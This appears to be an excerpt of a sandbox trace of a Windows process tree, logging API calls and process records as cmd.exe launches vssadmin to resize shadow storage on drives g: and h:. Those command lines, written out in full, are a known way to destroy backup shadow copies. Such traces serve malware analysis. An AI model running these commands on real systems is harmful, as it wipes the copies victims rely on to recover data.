	[0088.155] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x8fef48, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fef48) returned 0x918018
	[0088.155] GetProcessHeap () returned 0x910000
	[0088.155] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x0, Size=0x14) returned 0x918058
	[0088.155] FindClose (in: hFindFile=0x918018 | out: hFindFile=0x918018) returned 1
	[0088.155] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x8fef48, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fef48) returned 0xffffffff
	[0088.156] GetLastError () returned 0x2
	[0088.156] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x8fef48, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x8fef48) returned 0x918018
	[0088.156] GetProcessHeap () returned 0x910000
	[0088.156] RtlReAllocateHeap (Heap=0x910000, Flags=0x0, Ptr=0x918058, Size=0x4) returned 0x918058
	[0088.156] FindClose (in: hFindFile=0x918018 | out: hFindFile=0x918018) returned 1
	[0088.156] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0088.156] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0088.156] ??_V@YAXPAX@Z () returned 0x1
	[0088.156] GetConsoleTitleW (in: lpConsoleTitle=0x8ff44c, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0088.249] InitializeProcThreadAttributeList (in: lpAttributeList=0x8ff378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x8ff364 | out: lpAttributeList=0x8ff378, lpSize=0x8ff364) returned 1
	[0088.249] UpdateProcThreadAttribute (in: lpAttributeList=0x8ff378, dwFlags=0x0, Attribute=0x60001, lpValue=0x8ff360, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x8ff378, lpPreviousValue=0x0) returned 1
	[0088.249] GetStartupInfoW (in: lpStartupInfo=0x8ff3b0 | out: lpStartupInfo=0x8ff3b0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0088.249] GetProcessHeap () returned 0x910000
	[0088.249] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x18) returned 0x918018
	[0088.249] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0088.249] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0088.249] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0088.249] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0088.250] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0088.250] GetProcessHeap () returned 0x910000
	[0088.250] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x918018) returned 1
	[0088.250] GetProcessHeap () returned 0x910000
	[0088.251] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xa) returned 0x918018
	[0088.251] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0088.252] _get_osfhandle (_FileHandle=1) returned 0x90
	[0088.252] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0088.389] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0088.389] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0088.483] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=g: /on=g: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x8ff300*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=g: /on=g: /maxsize=unbounded", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8ff34c | out: lpCommandLine="vssadmin  resize shadowstorage /for=g: /on=g: /maxsize=unbounded", lpProcessInformation=0x8ff34c*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x11ec, dwThreadId=0x13a8)) returned 1
	[0088.497] CloseHandle (hObject=0xdc) returned 1
	[0088.497] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0088.497] GetProcessHeap () returned 0x910000
	[0088.497] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x916c58) returned 1
	[0088.497] GetEnvironmentStringsW () returned 0x916c58*
	[0088.497] GetProcessHeap () returned 0x910000
	[0088.497] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xb1a) returned 0x914bd0
	[0088.497] FreeEnvironmentStringsA (penv="=") returned 1
	[0088.497] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0089.340] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x8ff2e4 | out: lpExitCode=0x8ff2e4*=0x2) returned 1
	[0089.340] CloseHandle (hObject=0xe0) returned 1
	[0089.340] _vsnwprintf (in: _Buffer=0x8ff3cc, _BufferCount=0x13, _Format="%08X", _ArgList=0x8ff2ec | out: _Buffer="00000002") returned 8
	[0089.340] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0089.341] GetProcessHeap () returned 0x910000
	[0089.341] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x914bd0) returned 1
	[0089.341] GetEnvironmentStringsW () returned 0x918198*
	[0089.341] GetProcessHeap () returned 0x910000
	[0089.341] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xb40) returned 0x914bd0
	[0089.342] FreeEnvironmentStringsA (penv="=") returned 1
	[0089.342] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0089.342] GetProcessHeap () returned 0x910000
	[0089.342] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x914bd0) returned 1
	[0089.342] GetEnvironmentStringsW () returned 0x918198*
	[0089.342] GetProcessHeap () returned 0x910000
	[0089.342] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xb40) returned 0x914bd0
	[0089.342] FreeEnvironmentStringsA (penv="=") returned 1
	[0089.342] GetProcessHeap () returned 0x910000
	[0089.342] RtlFreeHeap (HeapHandle=0x910000, Flags=0x0, BaseAddress=0x918018) returned 1
	[0089.342] DeleteProcThreadAttributeList (in: lpAttributeList=0x8ff378 | out: lpAttributeList=0x8ff378) 
	[0089.342] ??_V@YAXPAX@Z () returned 0x1
	[0089.342] _get_osfhandle (_FileHandle=1) returned 0x90
	[0089.342] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0089.350] _get_osfhandle (_FileHandle=1) returned 0x90
	[0089.350] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0089.355] _get_osfhandle (_FileHandle=1) returned 0x90
	[0089.355] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0089.394] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0089.394] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0089.401] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0089.401] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0089.402] SetConsoleInputExeNameW () returned 0x1
	[0089.402] GetConsoleOutputCP () returned 0x1b5
	[0089.423] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0089.423] SetThreadUILanguage (LangId=0x0) returned 0x6c0409
	[0089.427] exit (_Code=2) 
	[0089.428] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 109
	os_tid = 0x13dc


Process:
	id = "33"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x2bcaf000"
	os_pid = "0x1164"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "32"
	os_parent_pid = "0x13ac"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 106
	os_tid = 0x11c4


Thread:
	id = 107
	os_tid = 0x13b8


Thread:
	id = 108
	os_tid = 0x13c8


Process:
	id = "34"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x56845000"
	os_pid = "0x11ec"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "32"
	os_parent_pid = "0x13ac"
	cmd_line = "vssadmin  resize shadowstorage /for=g: /on=g: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 110
	os_tid = 0x13a8


Thread:
	id = 111
	os_tid = 0x11f0


Thread:
	id = 112
	os_tid = 0x11f4


Thread:
	id = 113
	os_tid = 0x1140


Thread:
	id = 114
	os_tid = 0x1210


Process:
	id = "35"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x6fb89000"
	os_pid = "0xfa4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 115
	os_tid = 0x380

	[0089.788] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0089.789] __set_app_type (_Type=0x1) 
	[0089.789] __p__fmode () returned 0x77803c14
	[0089.789] __p__commode () returned 0x778049ec
	[0089.789] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0089.789] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0089.789] _onexit (_Func=0xb88030) returned 0xb88030
	[0089.789] _onexit (_Func=0xb88040) returned 0xb88040
	[0089.789] _onexit (_Func=0xb88050) returned 0xb88050
	[0089.789] _onexit (_Func=0xb88060) returned 0xb88060
	[0089.789] _onexit (_Func=0xb88070) returned 0xb88070
	[0089.790] _onexit (_Func=0xb88080) returned 0xb88080
	[0089.790] GetCurrentThreadId () returned 0x380
	[0089.790] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x380) returned 0xbc
	[0089.790] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0089.790] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0089.790] SetThreadUILanguage (LangId=0x0) returned 0x2c70409
	[0089.851] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0089.852] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2f5fb20 | out: phkResult=0x2f5fb20*=0x0) returned 0x2
	[0089.852] VirtualQuery (in: lpAddress=0x2f5fb2b, lpBuffer=0x2f5fad8, dwLength=0x1c | out: lpBuffer=0x2f5fad8*(BaseAddress=0x2f5f000, AllocationBase=0x2e60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0089.852] VirtualQuery (in: lpAddress=0x2e60000, lpBuffer=0x2f5fad8, dwLength=0x1c | out: lpBuffer=0x2f5fad8*(BaseAddress=0x2e60000, AllocationBase=0x2e60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0089.852] VirtualQuery (in: lpAddress=0x2e61000, lpBuffer=0x2f5fad8, dwLength=0x1c | out: lpBuffer=0x2f5fad8*(BaseAddress=0x2e61000, AllocationBase=0x2e60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0089.852] VirtualQuery (in: lpAddress=0x2e63000, lpBuffer=0x2f5fad8, dwLength=0x1c | out: lpBuffer=0x2f5fad8*(BaseAddress=0x2e63000, AllocationBase=0x2e60000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0089.852] VirtualQuery (in: lpAddress=0x2f60000, lpBuffer=0x2f5fad8, dwLength=0x1c | out: lpBuffer=0x2f5fad8*(BaseAddress=0x2f60000, AllocationBase=0x2f60000, AllocationProtect=0x2, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0089.852] GetConsoleOutputCP () returned 0x1b5
	[0089.860] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0089.860] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0089.860] _get_osfhandle (_FileHandle=1) returned 0x90
	[0089.860] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0089.900] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0089.900] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0089.903] _get_osfhandle (_FileHandle=1) returned 0x90
	[0089.905] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0089.909] _get_osfhandle (_FileHandle=1) returned 0x90
	[0089.911] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0089.923] _get_osfhandle (_FileHandle=1) returned 0x90
	[0089.923] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0089.928] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0089.933] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0089.940] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0089.944] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0089.949] GetEnvironmentStringsW () returned 0x3254bc0*
	[0089.949] GetProcessHeap () returned 0x3250000
	[0089.949] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xaca) returned 0x3255698
	[0089.949] FreeEnvironmentStringsA (penv="A") returned 1
	[0089.949] GetProcessHeap () returned 0x3250000
	[0089.949] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0x4) returned 0x32546a0
	[0089.953] GetEnvironmentStringsW () returned 0x3254bc0*
	[0089.953] GetProcessHeap () returned 0x3250000
	[0089.953] RtlAllocateHeap (HeapHandle=0x3250000, Flags=0x8, Size=0xaca) returned 0x3256170
	[0089.953] FreeEnvironmentStringsA (penv="A") returned 1
	[0089.953] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2f5ea7c | out: phkResult=0x2f5ea7c*=0xcc) returned 0x0
	[0089.953] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x0, lpData=0x2f5ea88*=0xc5, lpcbData=0x2f5ea80*=0x1000) returned 0x2
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x4, lpData=0x2f5ea88*=0x1, lpcbData=0x2f5ea80*=0x4) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x0, lpData=0x2f5ea88*=0x1, lpcbData=0x2f5ea80*=0x1000) returned 0x2
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x4, lpData=0x2f5ea88*=0x0, lpcbData=0x2f5ea80*=0x4) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x4, lpData=0x2f5ea88*=0x40, lpcbData=0x2f5ea80*=0x4) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x4, lpData=0x2f5ea88*=0x40, lpcbData=0x2f5ea80*=0x4) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x0, lpData=0x2f5ea88*=0x40, lpcbData=0x2f5ea80*=0x1000) returned 0x2
	[0089.954] RegCloseKey (hKey=0xcc) returned 0x0
	[0089.954] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2f5ea7c | out: phkResult=0x2f5ea7c*=0xcc) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x0, lpData=0x2f5ea88*=0x40, lpcbData=0x2f5ea80*=0x1000) returned 0x2
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x4, lpData=0x2f5ea88*=0x1, lpcbData=0x2f5ea80*=0x4) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x0, lpData=0x2f5ea88*=0x1, lpcbData=0x2f5ea80*=0x1000) returned 0x2
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x4, lpData=0x2f5ea88*=0x0, lpcbData=0x2f5ea80*=0x4) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x4, lpData=0x2f5ea88*=0x9, lpcbData=0x2f5ea80*=0x4) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x4, lpData=0x2f5ea88*=0x9, lpcbData=0x2f5ea80*=0x4) returned 0x0
	[0089.954] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2f5ea84, lpData=0x2f5ea88, lpcbData=0x2f5ea80*=0x1000 | out: lpType=0x2f5ea84*=0x0, lpData=0x2f5ea88*=0x9, lpcbData=0x2f5ea80*=0x1000) returned 0x2
	[0089.954] RegCloseKey (hKey=0xcc) returned 0x0
	[0089.954] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e73d
	[0089.954] srand (_Seed=0x5e40e73d) 
	[0089.954] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB"
	[0089.954] malloc (_Size=0x4000) returned 0x34821f0
	[0089.955] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB"
	[0089.955] malloc (_Size=0xffce) returned 0x3350048
	[0089.955] ??_V@YAXPAX@Z () returned 0x2f5fa60
	[0089.956] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3350048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0089.956] malloc (_Size=0xffce) returned 0x3360020
	[0089.956] ??_V@YAXPAX@Z () returned 0x2f5f834
	[0089.957] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3360020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0089.957] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0089.957] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0089.957] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0089.957] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0089.957] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0089.957] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0089.957] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0089.957] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0089.957] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0089.957] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0089.957] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0089.957] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0089.957] GetProcessHeap () returned 0x3250000
